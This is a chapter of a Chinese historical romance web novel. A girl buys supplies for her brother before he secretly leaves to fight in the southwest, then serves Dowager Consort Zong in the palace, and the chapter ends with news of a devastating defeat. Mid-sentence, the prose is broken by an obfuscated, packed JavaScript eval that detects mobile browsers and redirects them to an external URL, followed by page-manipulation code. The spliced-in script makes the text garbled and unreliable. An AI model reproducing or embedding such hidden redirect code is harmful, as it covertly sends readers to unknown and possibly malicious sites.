打量她的眼神太多，薛嘉宜没有一一分辨，更没想到在徐柔歆心里，已经开始把她往喜怒不形于色的方向去思考了。 想到今日之事有了结果，兄长或许立马就要心无挂念地离开……她明知被太妃挑中是喜事，却还是有些难受。 个中情形难以言表，在众人复杂的眼神中，宗太妃与两人说了会儿话，又命繁炽拿来一双玉镯，各自套到了她们的手上，今日的宴席，便结束了。 直到坐上出宫的马车，在身旁紫珠的吹捧声中，薛嘉宜无意识地摩挲了好一会儿腕间的玉镯，才渐渐回过神来。 她抬眸看向紫珠，目露期许地道：“紫珠姐姐，难得出来一趟，我想在街上逛逛，不知可不可以？” 若是以前，紫珠一定多一事不如少一事，回绝了她，但是她才得了太妃青眼，眼见会有更好的前程了，紫珠只笑道：“大姑娘想去哪里逛街？奴婢陪您一起吧。” 薛云朔就快走了，薛嘉宜想要为他添置一些东西，不好叫人知道，于是有些不好意思地道：“我想自己逛逛，可以吗？” 紫珠自然没有拒绝的，甚至还关切地问了一句她身上有没有带银钱。 薛嘉宜自信地摇了摇她的小荷包，道：“放心吧，我带啦。” 早在这趟进宫之前，她就想好了，无论被不被太妃选中，都要借着出来的机会买东西，把体己的私房钱全都带上了。 …… 今天没有下雪，市面上行人不少。 薛嘉宜掰着指头算，自己要给哥哥买的东西。 “药材、皮子……先去买药吧，皮子太重了。再就是……” 这回是西南起了战事，听说那边山林沼泽多，瘴气也多，她翻了几日医书，想要为他配一个解瘴的香囊，即使只是聊胜于无也好。 薛嘉宜低着头走路，浑然不觉身边多了个身影，等到她蓦然反应过来的时候，腰上的荷包忽然被身边这个影子钳了去。 薛嘉宜一惊，下意识伸手去抓，抬头看清是谁的瞬间，她眼中又喜又怒：“哥！” 薛云朔笑着掂了掂她的荷包，闪身避开了她的动作：“走吧，你这是要去哪里？” 20.020 陪妹妹逛街这件事情，薛云朔已经是驾轻就熟。 从前在严州府时，没那么多街市好逛，县里每月一回的大集，她也是不会错过的。 针头线脑、山货小食，小贩们每回卖的东西都大差不差，她却次次都逛得很开心，薛云朔至今也无法理解。 他拎着包，见薛嘉宜出了一家药铺，转头又进了另一家医馆，这才终于发觉，她仿佛不是在为她自己置办些什么。 “丹砂、雄黄，这些都有的，只是这扣子藤……平时入药甚少，姑娘再去别处看看吧。” 接连被拒绝了几次，薛嘉宜有些蔫蔫的，不过还是和店小二道了谢。 她拎着打包好的其他药材，见薛云朔走过来，顺手就往他手里一放。 “买这些做什么？”他问。 薛嘉宜没瞒他，答道：“给你的呀。此番募兵都是要去西南之地的，那边丛林多瘴气，我找了几个方子，给你配一份。” 说不上有多感动，但是薛云朔心下还是微微一漾。 今日宗太妃择选女官的结果，他已在她的表情里读出来了，所以，方才很顺理成章地以为，她是选中了高兴，想要给自己添些钗环，没成想是惦记着他。 “所以……”他挑了挑英气的眉，把手里另一个包袱提了起来：“这个也是给我的？” 薛嘉宜眨了眨眼，微翘的眉梢满是得色：“对的哦，最近天多冷呀，手套和护膝我都已经做好了，回去把皮子一缝，包管暖暖和和的。” 她原本想做身衣裳，但一来完整的皮料在京城太贵了，她的小金库显得岌岌可危，二则皮衣厚重，也太惹眼，想想西南之地不会太冷，做些小件的也好。 兄妹之间，没什么好客套的，薛云朔只低眸笑了一声，道：“早知道，当时鞣的皮子，应该带两张来。” 薛嘉宜嘟囔道：“是啊，还有两味药，在严州府可便宜了，到这皇城根下，翻倍都不止。” 大街上人来人往，薛云朔克制着自己揉她脑袋的冲动，只与她闲闲说笑。 苍术、丹砂、雄黄……连带最难买的那味扣子藤，也一样样买齐了。 眼见时候不早，薛嘉宜却踢踏着，一点想回去的意思都没有。 “哥……” 她低声唤他，悄悄扯了一下他的袖子，欲言又止。 薛云朔明知她为什么突然叫他，却还是微扬起锋利的眉梢，问道：“想说什么？” 一直被两个人刻意回避的离别，此刻，终于已经近到避无可避。 薛嘉宜垂着眼睫，嘟囔道：“你要好好保重，不许受伤。” 听了这一团孩子气的发言，薛云朔勾了勾唇，故意逗她：“刀剑无眼，我若受伤了，可怎么是好？” 闻言，她把头埋得更低了，也不说话。 见状，薛云朔疑心自己逗得太过火，正想凑近看一眼她是不是掉金豆子了，脚步刚顿住，就叫她逮住机会，往他靴尖狠狠踩了一脚。 薛云朔叫她这一下踩笑了，一低眸，却见她抹抹眼泪，昂起头瞪他。 “举头三尺有神明，”薛嘉宜咬牙切齿地道：“不许说这样的话，万一叫他们听见了。” 薛云朔唇边浅笑犹在，眉宇间，却也多添了几分说不清道不明的情绪。 “好，不说了。”他顺着她的话，声音放轻了许多：“只为了你，我也会好好地回来。” 怎么舍得呢？薛云朔心想，如果他再不在了，这世上，就只她一个人了。 薛嘉宜不知他心中所想。但她并不满意这个答案，拉着他，要他连呸了好几下，才勉强放过他。 —— 薛云朔没在薛府久留。 时间悄悄过去，年前的募兵，眼看就要暂告一段落。 这天清早，雪下得很深，他最后一次翻过那堵矮墙，隔着朦朦的窗户，看了薛嘉宜一眼。 时辰还早，她没有醒，睡颜安详而宁和。 悄悄地走吧。 薛云朔心想，要是叫醒她、和她道别，她怕是要哭鼻子了。 他低笑一声，回眸看了她最后一眼。 眸底的那一点笑意转瞬即逝，身形尚显单薄的少年昂起下颌，紧了紧背上妹妹裹好的行囊，迎着还未乍破的天光，再没回头。 …… 床帷间，薛嘉宜缓缓睁开了眼帘。 她似有所感，目光怔怔，捧着毫无征兆作起乱的心跳坐了起来。 她缓了好一会儿，直到屋檐外飘起细雪纷纷，她才慌忙趿鞋起身，近乎趔趄地奔至了窗前。 漫无边际的白色铺陈在天地间，那几枚就要被新雪覆盖掉的鞋印，显得刺眼极了。 薛嘉宜打开窗，闭上眼，任冷风吻过她颤抖的眼睫。 不能哭……她要好好的，要叫他安心。 —— 正午时分，薛云朔的离开被仆人察觉了，连带桌上那一封留给薛永年的书信。 信的内容很简短，只说了他有志报国，投军去往西南，让薛家不必找寻。然而薛永年攥着这封信，神色却是晦暗不明。 秦淑月看着他有些在颤抖的手指，微微一惊，试探般问道：“老爷，这……” “成何体统！”薛永年把信往桌上一拍：“当我薛家是什么地方，又当我这个父亲是什么！” 把信拍下之后，他大概仍觉气不顺，又叫人把薛嘉宜叫了来，明摆着是要诘问。 薛嘉宜猜到了会有这一出，来到正堂的时候，并不慌张，问她什么，她都只说不知。 被这个平素木木呆呆的女儿顶回来好几句之后，薛永年简直比读信时还要火大。 然而宗太妃懿旨已下，这个女儿虽还未正式进宫，却已算半个庆安宫的人了，薛永年勉强压制住心底的怒火，冷笑道：“你们俩兄妹，还真是一路货色。” 薛嘉宜并不把这句话当成讽刺，反倒接受良好地弯了弯唇角，朝他屈膝一礼：“父亲谬赞，我不如兄长许多。” 秦淑月都快憋不住笑了，很是艰难地绷着脸劝和。 好在她的救星马上就来了，门外，一个丫鬟怯怯地打断了堂前的对话，通传道：“老爷，夫人，宫里来人了。” …… 之前来过的那个面白无须的小宦官，此刻已在前厅等候。 上回便是秦淑月见的他，她赶忙上前，客套道：“梁公公，这是哪来的风，又将您给吹来了？” 宫里来的人，无论位高位低，总得多给几分薄面。薛永年亦是客客气气地请了这宦官进来。 宦官姓梁，叫梁贞，年纪轻轻就已经是庆安宫的大太监。据说宗太妃起初赏识他，只是因为觉得他名字好听。 “嗐，若无要紧事，我也不会上门叨扰。”梁贞笑眯眯的，双颊各有一条猫胡子般的纹路：“今日宫里雪景好，宗太妃有心作画，请新入选的二位新女官入宫，侍奉笔墨。” 秦淑月眼睛一眨，问及关键：“没几日便要过年了，这回进宫，姑娘可还……” 梁贞笑答道：“夫人说笑了，宫门可不是朝外开的。” 薛嘉宜垂手立在一旁，不知为何，听闻不必在薛家过这个年，心里竟然微妙地一松。 当然，不论她什么想法，太妃的旨意已下，而这位梁公公带来的马车，也已经停在了薛府门前。 即便她心下仍有些微妙的忐忑，也终究是登上了这辆入宫的马车。 薛嘉宜安静地坐在车里，没有回头，也没有张望。 兄长已经离开了京城。 现在，离开一个对她而言、早已是空荡荡的薛家，并不足以让她产生任何情绪。 —— 进宫之后，薛嘉宜和徐柔歆一道，去给宗太妃请安。 宗太妃并不畏冷，正在四面开阔的亭下作画。见两个年轻的姑娘朝她请安，她只略掀了掀眼皮，问道：“此番来得匆忙，心里可有怨言？” 徐柔歆忙回答道：“能早日进宫侍奉太妃，是臣女的福分，怎敢有怨言？” 宗太妃笑了一下，眸光却依然冷淡：“怎敢。你的意思是，心里确有怨言了？” 徐柔歆再圆滑，也不过是女孩家的圆滑，闻言，立时便心惊了起来，扑通跪了下去。 宗太妃并不管她，视线渐移到了徐柔歆身边的另一道身影上，问了如出一辙的问题：“你呢？可有怨言？” 薛嘉宜不知道怎样回答这样的问题，只好说了实话：“臣女长在乡下，留在京城的那个家中，又或者进宫，对我……对臣女而言，并无区别。” 这个回答其实并不好，父母长辈如何暂且不论，身为儿女对家毫无留恋之意，这话若是说起来…… 一旁的徐柔歆都有些为薛嘉宜害怕了。 上首的宗太妃却什么也没说，只搁下笔，轻轻带过了这个话题，与身边的大宫女繁炽道：“带两个新人下去安置吧，挑好些的宫室。” 老妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141068|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的声音温和，仿佛方才的诘难，只是一场错觉。 …… 好在这样的问话，只在进宫这日出现过一次。 薛嘉宜和徐柔歆在庆安宫渐渐安顿了下来。 两人的身份过了明路，如今，已经是宫中有品阶的女官了。 拿到月例的时候，薛嘉宜的心情还有点雀跃。 宗太妃并不缺宫人伺候，不过来到宫中，毕竟不是在家里当小姐，总归是要有干活的时候。 徐柔歆颇有些不适应。薛嘉宜倒是随遇而安，那些被徐柔歆推诿的、露不了脸的活儿，她干着也挺开心的。 宗太妃看在眼里，但并不在意。 到她这个年纪，十来岁的小姑娘站在面前，心思和透明的也没什么区别。 对她来说，活泛的姑娘有活泛的好，温吞的姑娘也有温吞的好，左右两人的存在，本就是用来讨好她的。 她本就是看腻了宫里的同一张脸，听腻了宫里同一张嘴说的话，才又选了两个新鲜的女官陪在身边。 薛嘉宜虽然无法准确地描述这位宗太妃带给她的这种感受，却已经意识到了，她是一个真正的上位者。 即使她面色和蔼，即使她关怀备至，甚至时常会亲自教导她和徐柔歆，教她们琴棋书画。 开春后，两人渐渐习惯在宫里的生活，开始像女官的模样了，宗太妃终于开始把两人带在身边，交予一些事情与她们。 真正随侍在宗太妃身边时，薛嘉宜心下还是难免紧张。 不过，等到那位留质京中的宗二爷宗尧之进宫，向太妃请安，顺便聊起西南军情的时候……她这才恍然记起，宗太妃的宗，和前线那位昭武大将军的宗，是一笔写就。 迢迢千里，鸿雁传书不得，能听到一点兄长的消息也是好的。 薛嘉宜竖着耳朵的姿态，一来二去，很快叫宗太妃察觉了。 “怎么如此关心前线战况？”宗太妃睨她一眼：“我仿佛记得，你早年间也不是在西南长大。” 见她眼睫颤了颤，就要跪下请罪，宗太妃伸手扶了一把，道：“站着好好说。” 薛嘉宜咬了咬下唇，答道：“太妃恕罪。我并无窥探军情之意，只是家兄如今正在西南军中，所以才、才关切得紧。” 对坐的宗尧之眉梢一挑，忽然问道：“哦，你就是那姓薛的姑娘？” 薛嘉宜朝他屈膝一福，应了声是。 宗尧之不动声色地打量了薛嘉宜两眼。 原来这就是那皇太孙在薛家时的义妹。 原来是为了她，才拿着旧时信物找上门来。 “你的兄长薛云朔，自进入与南诏对战的前线后，表现很是出色。”宗尧之收回视线，淡淡道：“迄今为止，不过三月功夫，他作战勇猛，已经累进至百夫长，再来一场胜果，晋为小都统也是指日可待。” 这般晋升的速度，即使是在战时，也是难以想象的飞跃了。 宗太妃听得感了兴趣，问道：“哦？小姑娘的兄长……多大年纪？” 宗尧之答：“与她一般年纪。” 一旁的薛嘉宜仍旧咬着唇。 她其实还想问一问，哥哥现在可还好，又是否受伤？只是眼下的场合，显然是不好多问了。 宗家是武将世家，家中女眷，谁没有过盼着亲人回来的经历？宗太妃把薛嘉宜的神情瞧得分明，见状，不免触动。 她倒也没有纡尊降贵地去安抚薛嘉宜，只是与宗尧之道：“再有什么消息，你来请安，也好叫我这老婆子听一听。” 宗尧之抱拳应下。 往后的几个月里，庆安宫的楸树日渐浓绿，又渐渐泛黄，而薛嘉宜也在宗太妃的默许之下，听到了一场又一场战胜的消息。 真好呀。 胜仗一场一场地打下去，他是不是就快回来了？ 她盯着殿外纷纷扬扬的落叶，心想，到了手套和护膝能派上用场的时候了。不知她赶工缝上的皮子是否牢靠？又够不够暖和？ 直到立冬那天，京城风沙大作。 一纸急报飞到了皇帝的案头，霎时间，军情如雪片一般，亦传遍了整个京城。 萧瑟的寒风中，薛嘉宜站在廊下，几乎有些摇摇欲坠了。 他们说…… 南诏突袭，西南前阵九城接连陷落。 昭武大将军宗甫，与他新近提拔在帐前的几位小将，遭迂回伏击，全军覆没，无人生还。